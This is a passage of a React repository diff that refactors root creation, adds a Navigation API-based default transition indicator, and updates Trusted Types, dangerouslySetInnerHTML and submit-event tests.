+    expectWarnings(['#document', 'head']);
+    expectWarnings(['#document', 'div']);
+    expectWarnings(['#document', 'meta']);
+    expectWarnings(['#document', '#text']);
+    expectWarnings(['html', 'body']);
+    expectWarnings(['html', 'head']);
+    expectWarnings(['html', 'div']);
+    expectWarnings(['html', 'meta']);
+    expectWarnings(['html', '#text']);
+    expectWarnings(['body', 'head']);
+    expectWarnings(['body', 'div']);
+    expectWarnings(['body', 'meta']);
+    expectWarnings(['body', '#text']);
+  });
 });
diff --git a/packages/react-dom/src/client/ReactDOMClient.js b/packages/react-dom/src/client/ReactDOMClient.js
index 3837f322a53c..9a9f3157b822 100644
--- a/packages/react-dom/src/client/ReactDOMClient.js
+++ b/packages/react-dom/src/client/ReactDOMClient.js
@@ -16,7 +16,6 @@ import {
 import {canUseDOM} from 'shared/ExecutionEnvironment';
 import ReactVersion from 'shared/ReactVersion';
 
-import {getClosestInstanceFromNode} from 'react-dom-bindings/src/client/ReactDOMComponentTree';
 import Internals from 'shared/ReactDOMSharedInternals';
 
 import {ensureCorrectIsomorphicReactVersion} from '../shared/ensureCorrectIsomorphicReactVersion';
@@ -42,7 +41,7 @@ if (__DEV__) {
 }
 
 function findDOMNode(
-  componentOrElement: React$Component<any, any>,
+  componentOrElement: component(...props: any),
 ): null | Element | Text {
   return findHostInstance(componentOrElement);
 }
@@ -52,12 +51,7 @@ Internals.findDOMNode = findDOMNode;
 
 export {ReactVersion as version, createRoot, hydrateRoot};
 
-const foundDevTools = injectIntoDevTools({
-  findFiberByHostInstance: getClosestInstanceFromNode,
-  bundleType: __DEV__ ? 1 : 0,
-  version: ReactVersion,
-  rendererPackageName: 'react-dom',
-});
+const foundDevTools = injectIntoDevTools();
 
 if (__DEV__) {
   if (!foundDevTools && canUseDOM && window.top === window.self) {
diff --git a/packages/react-dom/src/client/ReactDOMClientFB.js b/packages/react-dom/src/client/ReactDOMClientFB.js
index a3985860728e..872a4550aa36 100644
--- a/packages/react-dom/src/client/ReactDOMClientFB.js
+++ b/packages/react-dom/src/client/ReactDOMClientFB.js
@@ -29,7 +29,6 @@ import {ensureCorrectIsomorphicReactVersion} from '../shared/ensureCorrectIsomor
 ensureCorrectIsomorphicReactVersion();
 
 import {
-  getClosestInstanceFromNode,
   getInstanceFromNode,
   getNodeFromInstance,
   getFiberCurrentPropsFromNode,
@@ -90,9 +89,7 @@ function createPortal(
 // Overload the definition to the two valid signatures.
 // Warning, this opts-out of checking the function body.
 declare function flushSyncFromReconciler<R>(fn: () => R): R;
-// eslint-disable-next-line no-redeclare
 declare function flushSyncFromReconciler(): void;
-// eslint-disable-next-line no-redeclare
 function flushSyncFromReconciler<R>(fn: (() => R) | void): R | void {
   if (__DEV__) {
     if (isAlreadyRendering()) {
@@ -103,6 +100,7 @@ function flushSyncFromReconciler<R>(fn: (() => R) | void): R | void {
       );
     }
   }
+  // $FlowFixMe[incompatible-call]
   return flushSyncWithoutWarningIfAlreadyRendering(fn);
 }
 
@@ -111,7 +109,7 @@ const flushSync: typeof flushSyncIsomorphic = disableLegacyMode
   : flushSyncFromReconciler;
 
 function findDOMNode(
-  componentOrElement: React$Component<any, any>,
+  componentOrElement: component(...props: any),
 ): null | Element | Text {
   return findHostInstance(componentOrElement);
 }
@@ -149,12 +147,7 @@ Internals.Events /* Events */ = [
   unstable_batchedUpdates,
 ];
 
-const foundDevTools = injectIntoDevTools({
-  findFiberByHostInstance: getClosestInstanceFromNode,
-  bundleType: __DEV__ ? 1 : 0,
-  version: ReactVersion,
-  rendererPackageName: 'react-dom',
-});
+const foundDevTools = injectIntoDevTools();
 
 if (__DEV__) {
   if (!foundDevTools && canUseDOM && window.top === window.self) {
diff --git a/packages/react-dom/src/client/ReactDOMDefaultTransitionIndicator.js b/packages/react-dom/src/client/ReactDOMDefaultTransitionIndicator.js
new file mode 100644
index 000000000000..37661849cad8
--- /dev/null
+++ b/packages/react-dom/src/client/ReactDOMDefaultTransitionIndicator.js
@@ -0,0 +1,90 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export function defaultOnDefaultTransitionIndicator(): void | (() => void) {
+  if (typeof navigation !== 'object') {
+    // If the Navigation API is not available, then this is a noop.
+    return;
+  }
+
+  let isCancelled = false;
+  let pendingResolve: null | (() => void) = null;
+
+  function handleNavigate(event: NavigateEvent) {
+    if (event.canIntercept && event.info === 'react-transition') {
+      event.intercept({
+        handler() {
+          return new Promise(resolve => (pendingResolve = resolve));
+        },
+        focusReset: 'manual',
+        scroll: 'manual',
+      });
+    }
+  }
+
+  function handleNavigateComplete() {
+    if (pendingResolve !== null) {
+      // If this was not our navigation completing, we were probably cancelled.
+      // We'll start a new one below.
+      pendingResolve();
+      pendingResolve = null;
+    }
+    if (!isCancelled) {
+      // Some other navigation completed but we should still be running.
+      // Start another fake one to keep the loading indicator going.
+      // There needs to be an async gap to work around https://issues.chromium.org/u/1/issues/419746417.
+      setTimeout(startFakeNavigation, 20);
+    }
+  }
+
+  // $FlowFixMe
+  navigation.addEventListener('navigate', handleNavigate);
+  // $FlowFixMe
+  navigation.addEventListener('navigatesuccess', handleNavigateComplete);
+  // $FlowFixMe
+  navigation.addEventListener('navigateerror', handleNavigateComplete);
+
+  function startFakeNavigation() {
+    if (isCancelled) {
+      // We already stopped this Transition.
+      return;
+    }
+    if (navigation.transition) {
+      // There is an on-going Navigation already happening. Let's wait for it to
+      // finish before starting our fake one.
+      return;
+    }
+    // Trigger a fake navigation to the same page
+    const currentEntry = navigation.currentEntry;
+    if (currentEntry && currentEntry.url != null) {
+      navigation.navigate(currentEntry.url, {
+        state: currentEntry.getState(),
+        info: 'react-transition', // indicator to routers to ignore this navigation
+        history: 'replace',
+      });
+    }
+  }
+
+  // Delay the start a bit in case this is a fast Transition.
+  setTimeout(startFakeNavigation, 100);
+
+  return function () {
+    isCancelled = true;
+    // $FlowFixMe
+    navigation.removeEventListener('navigate', handleNavigate);
+    // $FlowFixMe
+    navigation.removeEventListener('navigatesuccess', handleNavigateComplete);
+    // $FlowFixMe
+    navigation.removeEventListener('navigateerror', handleNavigateComplete);
+    if (pendingResolve !== null) {
+      pendingResolve();
+      pendingResolve = null;
+    }
+  };
+}
diff --git a/packages/react-dom/src/client/ReactDOMRoot.js b/packages/react-dom/src/client/ReactDOMRoot.js
index aef8775de5a1..a32cefe81d5b 100644
--- a/packages/react-dom/src/client/ReactDOMRoot.js
+++ b/packages/react-dom/src/client/ReactDOMRoot.js
@@ -17,8 +17,8 @@ import {isValidContainer} from 'react-dom-bindings/src/client/ReactDOMContainer'
 import {queueExplicitHydrationTarget} from 'react-dom-bindings/src/events/ReactDOMEventReplaying';
 import {REACT_ELEMENT_TYPE} from 'shared/ReactSymbols';
 import {
-  allowConcurrentByDefault,
-  enableAsyncActions,
+  disableCommentsAsDOMContainers,
+  enableDefaultTransitionIndicator,
 } from 'shared/ReactFeatureFlags';
 
 export type RootType = {
@@ -29,7 +29,6 @@ export type RootType = {
 
 export type CreateRootOptions = {
   unstable_strictMode?: boolean,
-  unstable_concurrentUpdatesByDefault?: boolean,
   unstable_transitionCallbacks?: TransitionTracingCallbacks,
   identifierPrefix?: string,
   onUncaughtError?: (
@@ -40,22 +39,22 @@ export type CreateRootOptions = {
     error: mixed,
     errorInfo: {
       +componentStack?: ?string,
-      +errorBoundary?: ?React$Component<any, any>,
+      +errorBoundary?: ?component(...props: any),
     },
   ) => void,
   onRecoverableError?: (
     error: mixed,
     errorInfo: {+componentStack?: ?string},
   ) => void,
+  onDefaultTransitionIndicator?: () => void | (() => void),
 };
 
 export type HydrateRootOptions = {
   // Hydration options
-  onHydrated?: (suspenseNode: Comment) => void,
-  onDeleted?: (suspenseNode: Comment) => void,
+  onHydrated?: (hydrationBoundary: Comment) => void,
+  onDeleted?: (hydrationBoundary: Comment) => void,
   // Options for all roots
   unstable_strictMode?: boolean,
-  unstable_concurrentUpdatesByDefault?: boolean,
   unstable_transitionCallbacks?: TransitionTracingCallbacks,
   identifierPrefix?: string,
   onUncaughtError?: (
@@ -66,13 +65,14 @@ export type HydrateRootOptions = {
     error: mixed,
     errorInfo: {
       +componentStack?: ?string,
-      +errorBoundary?: ?React$Component<any, any>,
+      +errorBoundary?: ?component(...props: any),
     },
   ) => void,
   onRecoverableError?: (
     error: mixed,
     errorInfo: {+componentStack?: ?string},
   ) => void,
+  onDefaultTransitionIndicator?: () => void | (() => void),
   formState?: ReactFormState<any, any> | null,
 };
 
@@ -95,6 +95,7 @@ import {
   defaultOnCaughtError,
   defaultOnRecoverableError,
 } from 'react-reconciler/src/ReactFiberReconciler';
+import {defaultOnDefaultTransitionIndicator} from './ReactDOMDefaultTransitionIndicator';
 import {ConcurrentRoot} from 'react-reconciler/src/ReactRootTags';
 
 // $FlowFixMe[missing-this-annot]
@@ -112,17 +113,19 @@ ReactDOMHydrationRoot.prototype.render = ReactDOMRoot.prototype.render =
     }
 
     if (__DEV__) {
-      if (typeof arguments[1] === 'function') {
+      // using a reference to `arguments` bails out of GCC optimizations which affect function arity
+      const args = arguments;
+      if (typeof args[1] === 'function') {
         console.error(
           'does not support the second callback argument. ' +
             'To execute a side effect after rendering, declare it in a component body with useEffect().',
         );
-      } else if (isValidContainer(arguments[1])) {
+      } else if (isValidContainer(args[1])) {
         console.error(
           'You passed a container to the second argument of root.render(...). ' +
             "You don't need to pass it again since you already passed it to create the root.",
         );
-      } else if (typeof arguments[1] !== 'undefined') {
+      } else if (typeof args[1] !== 'undefined') {
         console.error(
           'You passed a second argument to root.render(...) but it only accepts ' +
             'one argument.',
@@ -137,7 +140,9 @@ ReactDOMHydrationRoot.prototype.unmount = ReactDOMRoot.prototype.unmount =
   // $FlowFixMe[missing-this-annot]
   function (): void {
     if (__DEV__) {
-      if (typeof arguments[0] === 'function') {
+      // using a reference to `arguments` bails out of GCC optimizations which affect function arity
+      const args = arguments;
+      if (typeof args[0] === 'function') {
         console.error(
           'does not support a callback argument. ' +
             'To execute a side effect after rendering, declare it in a component body with useEffect().',
@@ -173,12 +178,13 @@ export function createRoot(
 
   warnIfReactDOMContainerInDEV(container);
 
+  const concurrentUpdatesByDefaultOverride = false;
   let isStrictMode = false;
-  let concurrentUpdatesByDefaultOverride = false;
   let identifierPrefix = '';
   let onUncaughtError = defaultOnUncaughtError;
   let onCaughtError = defaultOnCaughtError;
   let onRecoverableError = defaultOnRecoverableError;
+  let onDefaultTransitionIndicator = defaultOnDefaultTransitionIndicator;
   let transitionCallbacks = null;
 
   if (options !== null && options !== undefined) {
@@ -206,12 +212,6 @@ export function createRoot(
     if (options.unstable_strictMode === true) {
       isStrictMode = true;
     }
-    if (
-      allowConcurrentByDefault &&
-      options.unstable_concurrentUpdatesByDefault === true
-    ) {
-      concurrentUpdatesByDefaultOverride = true;
-    }
     if (options.identifierPrefix !== undefined) {
       identifierPrefix = options.identifierPrefix;
     }
@@ -224,6 +224,11 @@ export function createRoot(
     if (options.onRecoverableError !== undefined) {
       onRecoverableError = options.onRecoverableError;
     }
+    if (enableDefaultTransitionIndicator) {
+      if (options.onDefaultTransitionIndicator !== undefined) {
+        onDefaultTransitionIndicator = options.onDefaultTransitionIndicator;
+      }
+    }
     if (options.unstable_transitionCallbacks !== undefined) {
       transitionCallbacks = options.unstable_transitionCallbacks;
     }
@@ -239,12 +244,13 @@ export function createRoot(
     onUncaughtError,
     onCaughtError,
     onRecoverableError,
+    onDefaultTransitionIndicator,
     transitionCallbacks,
   );
   markContainerAsRoot(root.current, container);
 
   const rootContainerElement: Document | Element | DocumentFragment =
-    container.nodeType === COMMENT_NODE
+    !disableCommentsAsDOMContainers && container.nodeType === COMMENT_NODE
       ? (container.parentNode: any)
       : container;
   listenToAllSupportedEvents(rootContainerElement);
@@ -289,24 +295,19 @@ export function hydrateRoot(
   // the hydration callbacks.
   const hydrationCallbacks = options != null ? options : null;
 
+  const concurrentUpdatesByDefaultOverride = false;
   let isStrictMode = false;
-  let concurrentUpdatesByDefaultOverride = false;
   let identifierPrefix = '';
   let onUncaughtError = defaultOnUncaughtError;
   let onCaughtError = defaultOnCaughtError;
   let onRecoverableError = defaultOnRecoverableError;
+  let onDefaultTransitionIndicator = defaultOnDefaultTransitionIndicator;
   let transitionCallbacks = null;
   let formState = null;
   if (options !== null && options !== undefined) {
     if (options.unstable_strictMode === true) {
       isStrictMode = true;
     }
-    if (
-      allowConcurrentByDefault &&
-      options.unstable_concurrentUpdatesByDefault === true
-    ) {
-      concurrentUpdatesByDefaultOverride = true;
-    }
     if (options.identifierPrefix !== undefined) {
       identifierPrefix = options.identifierPrefix;
     }
@@ -319,13 +320,16 @@ export function hydrateRoot(
     if (options.onRecoverableError !== undefined) {
       onRecoverableError = options.onRecoverableError;
     }
+    if (enableDefaultTransitionIndicator) {
+      if (options.onDefaultTransitionIndicator !== undefined) {
+        onDefaultTransitionIndicator = options.onDefaultTransitionIndicator;
+      }
+    }
     if (options.unstable_transitionCallbacks !== undefined) {
       transitionCallbacks = options.unstable_transitionCallbacks;
     }
-    if (enableAsyncActions) {
-      if (options.formState !== undefined) {
-        formState = options.formState;
-      }
+    if (options.formState !== undefined) {
+      formState = options.formState;
     }
   }
 
@@ -341,6 +345,7 @@ export function hydrateRoot(
     onUncaughtError,
     onCaughtError,
     onRecoverableError,
+    onDefaultTransitionIndicator,
     transitionCallbacks,
     formState,
   );
diff --git a/packages/react-dom/src/client/ReactDOMRootFB.js b/packages/react-dom/src/client/ReactDOMRootFB.js
index 1e5609726688..3a0205fe799c 100644
--- a/packages/react-dom/src/client/ReactDOMRootFB.js
+++ b/packages/react-dom/src/client/ReactDOMRootFB.js
@@ -27,7 +27,10 @@ import {
   hydrateRoot as hydrateRootImpl,
 } from './ReactDOMRoot';
 
-import {disableLegacyMode} from 'shared/ReactFeatureFlags';
+import {
+  disableLegacyMode,
+  disableCommentsAsDOMContainers,
+} from 'shared/ReactFeatureFlags';
 import {clearContainer} from 'react-dom-bindings/src/client/ReactFiberConfigDOM';
 import {
   getInstanceFromNode,
@@ -36,7 +39,7 @@ import {
   unmarkContainerAsRoot,
 } from 'react-dom-bindings/src/client/ReactDOMComponentTree';
 import {listenToAllSupportedEvents} from 'react-dom-bindings/src/events/DOMPluginEventSystem';
-import {isValidContainerLegacy} from 'react-dom-bindings/src/client/ReactDOMContainer';
+import {isValidContainer} from 'react-dom-bindings/src/client/ReactDOMContainer';
 import {
   DOCUMENT_NODE,
   ELEMENT_NODE,
@@ -67,6 +70,8 @@ import {
 
 import assign from 'shared/assign';
 
+import noop from 'shared/noop';
+
 // Provided by www
 const ReactFiberErrorDialogWWW = require('ReactFiberErrorDialog');
 
@@ -101,7 +106,7 @@ function wwwOnCaughtError(
   error: mixed,
   errorInfo: {
     +componentStack?: ?string,
-    +errorBoundary?: ?React$Component<any, any>,
+    +errorBoundary?: ?component(),
   },
 ): void {
   const errorBoundary = errorInfo.errorBoundary;
@@ -121,6 +126,7 @@ function wwwOnCaughtError(
 
   defaultOnCaughtError(error, errorInfo);
 }
+const noopOnDefaultTransitionIndicator = noop;
 
 export function createRoot(
   container: Element | Document | DocumentFragment,
@@ -132,6 +138,7 @@ export function createRoot(
       ({
         onUncaughtError: wwwOnUncaughtError,
         onCaughtError: wwwOnCaughtError,
+        onDefaultTransitionIndicator: noopOnDefaultTransitionIndicator,
       }: any),
       options,
     ),
@@ -150,6 +157,7 @@ export function hydrateRoot(
       ({
         onUncaughtError: wwwOnUncaughtError,
         onCaughtError: wwwOnCaughtError,
+        onDefaultTransitionIndicator: noopOnDefaultTransitionIndicator,
       }: any),
       options,
     ),
@@ -203,15 +211,14 @@ function getReactRootElementInContainer(container: any) {
   }
 }
 
-function noopOnRecoverableError() {
-  // This isn't reachable because onRecoverableError isn't called in the
-  // legacy API.
-}
+// This isn't reachable because onRecoverableError isn't called in the
+// legacy API.
+const noopOnRecoverableError = noop;
 
 function legacyCreateRootFromDOMContainer(
   container: Container,
   initialChildren: ReactNodeList,
-  parentComponent: ?React$Component<any, any>,
+  parentComponent: ?component(...props: any),
   callback: ?Function,
   isHydrationContainer: boolean,
 ): FiberRoot {
@@ -236,6 +243,7 @@ function legacyCreateRootFromDOMContainer(
       wwwOnUncaughtError,
       wwwOnCaughtError,
       noopOnRecoverableError,
+      noopOnDefaultTransitionIndicator,
       // TODO(luna) Support hydration later
       null,
       null,
@@ -244,7 +252,9 @@ function legacyCreateRootFromDOMContainer(
     markContainerAsRoot(root.current, container);
 
     const rootContainerElement =
-      container.nodeType === COMMENT_NODE ? container.parentNode : container;
+      !disableCommentsAsDOMContainers && container.nodeType === COMMENT_NODE
+        ? container.parentNode
+        : container;
     // $FlowFixMe[incompatible-call]
     listenToAllSupportedEvents(rootContainerElement);
 
@@ -272,13 +282,16 @@ function legacyCreateRootFromDOMContainer(
       wwwOnUncaughtError,
       wwwOnCaughtError,
       noopOnRecoverableError,
+      noopOnDefaultTransitionIndicator,
       null, // transitionCallbacks
     );
     container._reactRootContainer = root;
     markContainerAsRoot(root.current, container);
 
     const rootContainerElement =
-      container.nodeType === COMMENT_NODE ? container.parentNode : container;
+      !disableCommentsAsDOMContainers && container.nodeType === COMMENT_NODE
+        ? container.parentNode
+        : container;
     // $FlowFixMe[incompatible-call]
     listenToAllSupportedEvents(rootContainerElement);
 
@@ -303,12 +316,12 @@ function warnOnInvalidCallback(callback: mixed): void {
 }
 
 function legacyRenderSubtreeIntoContainer(
-  parentComponent: ?React$Component<any, any>,
+  parentComponent: ?component(...props: any),
   children: ReactNodeList,
   container: Container,
   forceHydrate: boolean,
   callback: ?Function,
-): React$Component<any, any> | PublicInstance | null {
+): component(...props: any) | PublicInstance | null {
   if (__DEV__) {
     topLevelUpdateWarnings(container);
     warnOnInvalidCallback(callback === undefined ? null : callback);
@@ -341,7 +354,7 @@ function legacyRenderSubtreeIntoContainer(
 }
 
 export function findDOMNode(
-  componentOrElement: Element | ?React$Component<any, any>,
+  componentOrElement: Element | ?component(...props: any),
 ): null | Element | Text {
   if (__DEV__) {
     const owner = currentOwner;
@@ -376,7 +389,7 @@ export function render(
   element: React$Element<any>,
   container: Container,
   callback: ?Function,
-): React$Component<any, any> | PublicInstance | null {
+): component(...props: any) | PublicInstance | null {
   if (disableLegacyMode) {
     if (__DEV__) {
       console.error(
@@ -394,7 +407,7 @@ export function render(
     );
   }
 
-  if (!isValidContainerLegacy(container)) {
+  if (!isValidContainer(container)) {
     throw new Error('Target container is not a DOM element.');
   }
 
@@ -428,7 +441,7 @@ export function unmountComponentAtNode(container: Container): boolean {
     }
     throw new Error('ReactDOM: Unsupported Legacy Mode API.');
   }
-  if (!isValidContainerLegacy(container)) {
+  if (!isValidContainer(container)) {
     throw new Error('Target container is not a DOM element.');
   }
 
@@ -472,7 +485,7 @@ export function unmountComponentAtNode(container: Container): boolean {
       // Check if the container itself is a React root node.
       const isContainerReactRoot =
         container.nodeType === ELEMENT_NODE &&
-        isValidContainerLegacy(container.parentNode) &&
+        isValidContainer(container.parentNode) &&
         // $FlowFixMe[prop-missing]
         // $FlowFixMe[incompatible-use]
         !!container.parentNode._reactRootContainer;
diff --git a/packages/react-dom/src/client/__tests__/dangerouslySetInnerHTML-test.js b/packages/react-dom/src/client/__tests__/dangerouslySetInnerHTML-test.js
index 64b4c0b0f7c9..ccbd41c2f30a 100644
--- a/packages/react-dom/src/client/__tests__/dangerouslySetInnerHTML-test.js
+++ b/packages/react-dom/src/client/__tests__/dangerouslySetInnerHTML-test.js
@@ -27,73 +27,4 @@ describe('dangerouslySetInnerHTML', () => {
       expect(container.firstChild.innerHTML).toBe('<h1>Hello</h1>');
     });
   });
-
-  describe('when the node does not have an innerHTML property', () => {
-    let innerHTMLDescriptor;
-
-    // In some versions of IE (TODO: which ones?) SVG nodes don't have
-    // innerHTML. To simulate this, we will take it off the Element prototype
-    // and put it onto the HTMLDivElement prototype. We expect that the logic
-    // checks for existence of innerHTML on SVG, and if one doesn't exist, falls
-    // back to using appendChild and removeChild.
-
-    beforeEach(() => {
-      innerHTMLDescriptor = Object.getOwnPropertyDescriptor(
-        Element.prototype,
-        'innerHTML',
-      );
-      delete Element.prototype.innerHTML;
-      Object.defineProperty(
-        HTMLDivElement.prototype,
-        'innerHTML',
-        innerHTMLDescriptor,
-      );
-    });
-
-    afterEach(() => {
-      delete HTMLDivElement.prototype.innerHTML;
-      Object.defineProperty(
-        Element.prototype,
-        'innerHTML',
-        innerHTMLDescriptor,
-      );
-    });
-
-    // @gate !disableIEWorkarounds
-    it('sets innerHTML on it', async () => {
-      const html = '<circle></circle>';
-      const container = document.createElementNS(
-        'http://www.w3.org/2000/svg',
-        'svg',
-      );
-      const root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(<g dangerouslySetInnerHTML={{__html: html}} />);
-      });
-      const circle = container.firstChild.firstChild;
-      expect(circle.tagName).toBe('circle');
-    });
-
-    // @gate !disableIEWorkarounds
-    it('clears previous children', async () => {
-      const firstHtml = '<rect></rect>';
-      const secondHtml = '<circle></circle>';
-
-      const container = document.createElementNS(
-        'http://www.w3.org/2000/svg',
-        'svg',
-      );
-      const root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(<g dangerouslySetInnerHTML={{__html: firstHtml}} />);
-      });
-      const rect = container.firstChild.firstChild;
-      expect(rect.tagName).toBe('rect');
-      await act(() => {
-        root.render(<g dangerouslySetInnerHTML={{__html: secondHtml}} />);
-      });
-      const circle = container.firstChild.firstChild;
-      expect(circle.tagName).toBe('circle');
-    });
-  });
 });
diff --git a/packages/react-dom/src/client/__tests__/trustedTypes-test.internal.js b/packages/react-dom/src/client/__tests__/trustedTypes-test.internal.js
index abe707badd5e..2d7fa85880e7 100644
--- a/packages/react-dom/src/client/__tests__/trustedTypes-test.internal.js
+++ b/packages/react-dom/src/client/__tests__/trustedTypes-test.internal.js
@@ -12,8 +12,8 @@
 describe('when Trusted Types are available in global object', () => {
   let React;
   let ReactDOMClient;
-  let ReactFeatureFlags;
   let act;
+  let assertConsoleErrorDev;
   let container;
   let ttObject1;
   let ttObject2;
@@ -32,11 +32,9 @@ describe('when Trusted Types are available in global object', () => {
       isScript: () => false,
       isScriptURL: () => false,
     };
-    ReactFeatureFlags = require('shared/ReactFeatureFlags');
-    ReactFeatureFlags.enableTrustedTypesIntegration = true;
     React = require('react');
     ReactDOMClient = require('react-dom/client');
-    act = require('internal-test-utils').act;
+    ({act, assertConsoleErrorDev} = require('internal-test-utils'));
     ttObject1 = {
       toString() {
         return '<b>Hi</b>';
@@ -117,7 +115,11 @@ describe('when Trusted Types are available in global object', () => {
       expect(setAttributeCalls[0][0]).toBe(container.firstChild);
       expect(setAttributeCalls[0][1]).toBe('data-foo');
       // Ensure it didn't get stringified when passed to a DOM sink:
-      expect(setAttributeCalls[0][2]).toBe(ttObject1);
+      if (gate('enableTrustedTypesIntegration')) {
+        expect(setAttributeCalls[0][2]).toBe(ttObject1);
+      } else {
+        expect(setAttributeCalls[0][2]).toBe('<b>Hi</b>');
+      }
 
       setAttributeCalls.length = 0;
       await act(() => {
@@ -128,7 +130,11 @@ describe('when Trusted Types are available in global object', () => {
       expect(setAttributeCalls[0][0]).toBe(container.firstChild);
       expect(setAttributeCalls[0][1]).toBe('data-foo');
       // Ensure it didn't get stringified when passed to a DOM sink:
-      expect(setAttributeCalls[0][2]).toBe(ttObject2);
+      if (gate('enableTrustedTypesIntegration')) {
+        expect(setAttributeCalls[0][2]).toBe(ttObject2);
+      } else {
+        expect(setAttributeCalls[0][2]).toBe('<b>Bye</b>');
+      }
     } finally {
       Element.prototype.setAttribute = setAttribute;
     }
@@ -152,7 +158,11 @@ describe('when Trusted Types are available in global object', () => {
       expect(setAttributeCalls[0][0]).toBe(container.firstChild);
       expect(setAttributeCalls[0][1]).toBe('class');
       // Ensure it didn't get stringified when passed to a DOM sink:
-      expect(setAttributeCalls[0][2]).toBe(ttObject1);
+      if (gate('enableTrustedTypesIntegration')) {
+        expect(setAttributeCalls[0][2]).toBe(ttObject1);
+      } else {
+        expect(setAttributeCalls[0][2]).toBe('<b>Hi</b>');
+      }
 
       setAttributeCalls.length = 0;
       await act(() => {
@@ -163,7 +173,11 @@ describe('when Trusted Types are available in global object', () => {
       expect(setAttributeCalls[0][0]).toBe(container.firstChild);
       expect(setAttributeCalls[0][1]).toBe('class');
       // Ensure it didn't get stringified when passed to a DOM sink:
-      expect(setAttributeCalls[0][2]).toBe(ttObject2);
+      if (gate('enableTrustedTypesIntegration')) {
+        expect(setAttributeCalls[0][2]).toBe(ttObject2);
+      } else {
+        expect(setAttributeCalls[0][2]).toBe('<b>Bye</b>');
+      }
     } finally {
       Element.prototype.setAttribute = setAttribute;
     }
@@ -188,7 +202,11 @@ describe('when Trusted Types are available in global object', () => {
       expect(setAttributeNSCalls[0][1]).toBe('http://www.w3.org/1999/xlink');
       expect(setAttributeNSCalls[0][2]).toBe('xlink:href');
       // Ensure it didn't get stringified when passed to a DOM sink:
-      expect(setAttributeNSCalls[0][3]).toBe(ttObject1);
+      if (gate('enableTrustedTypesIntegration')) {
+        expect(setAttributeNSCalls[0][3]).toBe(ttObject1);
+      } else {
+        expect(setAttributeNSCalls[0][3]).toBe('<b>Hi</b>');
+      }
 
       setAttributeNSCalls.length = 0;
       await act(() => {
@@ -200,79 +218,54 @@ describe('when Trusted Types are available in global object', () => {
       expect(setAttributeNSCalls[0][1]).toBe('http://www.w3.org/1999/xlink');
       expect(setAttributeNSCalls[0][2]).toBe('xlink:href');
       // Ensure it didn't get stringified when passed to a DOM sink:
-      expect(setAttributeNSCalls[0][3]).toBe(ttObject2);
+      if (gate('enableTrustedTypesIntegration')) {
+        expect(setAttributeNSCalls[0][3]).toBe(ttObject2);
+      } else {
+        expect(setAttributeNSCalls[0][3]).toBe('<b>Bye</b>');
+      }
     } finally {
       Element.prototype.setAttributeNS = setAttributeNS;
     }
   });
 
-  describe('dangerouslySetInnerHTML in svg elements in Internet Explorer', () => {
-    let innerHTMLDescriptor;
-
-    // simulate svg elements in Internet Explorer which don't have 'innerHTML' property
-    beforeEach(() => {
-      innerHTMLDescriptor = Object.getOwnPropertyDescriptor(
-        Element.prototype,
-        'innerHTML',
-      );
-      delete Element.prototype.innerHTML;
-      Object.defineProperty(
-        HTMLDivElement.prototype,
-        'innerHTML',
-        innerHTMLDescriptor,
-      );
+  it('should warn once when rendering script tag in jsx on client', async () => {
+    const root = ReactDOMClient.createRoot(container);
+    await act(() => {
+      root.render(<script>alert("I am not executed")</script>);
     });
+    if (gate('enableTrustedTypesIntegration')) {
+      assertConsoleErrorDev([
+        'Encountered a script tag while rendering React component. ' +
+          'Scripts inside React components are never executed when rendering ' +
+          'on the client. Consider using template tag instead ' +
+          '(https://developer.mozilla.org/en-US/docs/Web/HTML/Element/template).\n' +
+          '    in script (at **)',
+      ]);
+    }
 
-    afterEach(() => {
-      delete HTMLDivElement.prototype.innerHTML;
-      Object.defineProperty(
-        Element.prototype,
-        'innerHTML',
-        innerHTMLDescriptor,
-      );
+    // check that the warning is printed only once
+    await act(() => {
+      root.render(<script>alert("I am not executed")</script>);
     });
+  });
 
-    // @gate !disableIEWorkarounds
-    it('should log a warning', async () => {
-      class Component extends React.Component {
-        render() {
-          return <svg dangerouslySetInnerHTML={{__html: 'unsafe html'}} />;
-        }
-      }
-      const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render(<Component />);
-        });
-      }).toErrorDev(
-        "Using 'dangerouslySetInnerHTML' in an svg element with " +
-          'Trusted Types enabled in an Internet Explorer will cause ' +
-          'the trusted value to be converted to string. Assigning string ' +
-          "to 'innerHTML' will throw an error if Trusted Types are enforced. " +
-          "You can try to wrap your svg element inside a div and use 'dangerouslySetInnerHTML' " +
-          'on the enclosing div instead.',
+  it('should not warn when rendering a data block script tag', async () => {
+    const root = ReactDOMClient.createRoot(container);
+    await act(() => {
+      root.render(
+        <script type="application/json">{'{"key": "value"}'}</script>,
       );
-      expect(container.innerHTML).toBe('<svg>unsafe html</svg>');
     });
   });
 
-  it('should warn once when rendering script tag in jsx on client', async () => {
+  it('should not warn when rendering a ld+json script tag', async () => {
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<script>alert("I am not executed")</script>);
-      });
-    }).toErrorDev(
-      'Encountered a script tag while rendering React component. ' +
-        'Scripts inside React components are never executed when rendering ' +
-        'on the client. Consider using template tag instead ' +
-        '(https://developer.mozilla.org/en-US/docs/Web/HTML/Element/template).\n' +
-        '    in script (at **)',
-    );
-
-    // check that the warning is printed only once
     await act(() => {
-      root.render(<script>alert("I am not executed")</script>);
+      root.render(
+        <script type="application/ld+json">
+          {'{"@context": "https://schema.org"}'}
+        </script>,
+      );
     });
   });
 });
diff --git a/packages/react-dom/src/events/plugins/__tests__/SimpleEventPlugin-test.js b/packages/react-dom/src/events/plugins/__tests__/SimpleEventPlugin-test.js
index 062762e776a5..f14fcab168b9 100644
--- a/packages/react-dom/src/events/plugins/__tests__/SimpleEventPlugin-test.js
+++ b/packages/react-dom/src/events/plugins/__tests__/SimpleEventPlugin-test.js
@@ -591,4 +591,36 @@ describe('SimpleEventPlugin', function () {
       );
     });
   });
+
+  it('includes the submitter in submit events', async function () {
+    container = document.createElement('div');
+
+    const onSubmit = jest.fn(event => {
+      event.preventDefault();
+    });
+    const root = ReactDOMClient.createRoot(container);
+    await act(() => {
+      root.render(
+        <form onSubmit={onSubmit}>
+          <button type="submit" id="submitter">
+            Submit
+          </button>
+        </form>,
+      );
+    });
+
+    const submitter = container.querySelector('#submitter');
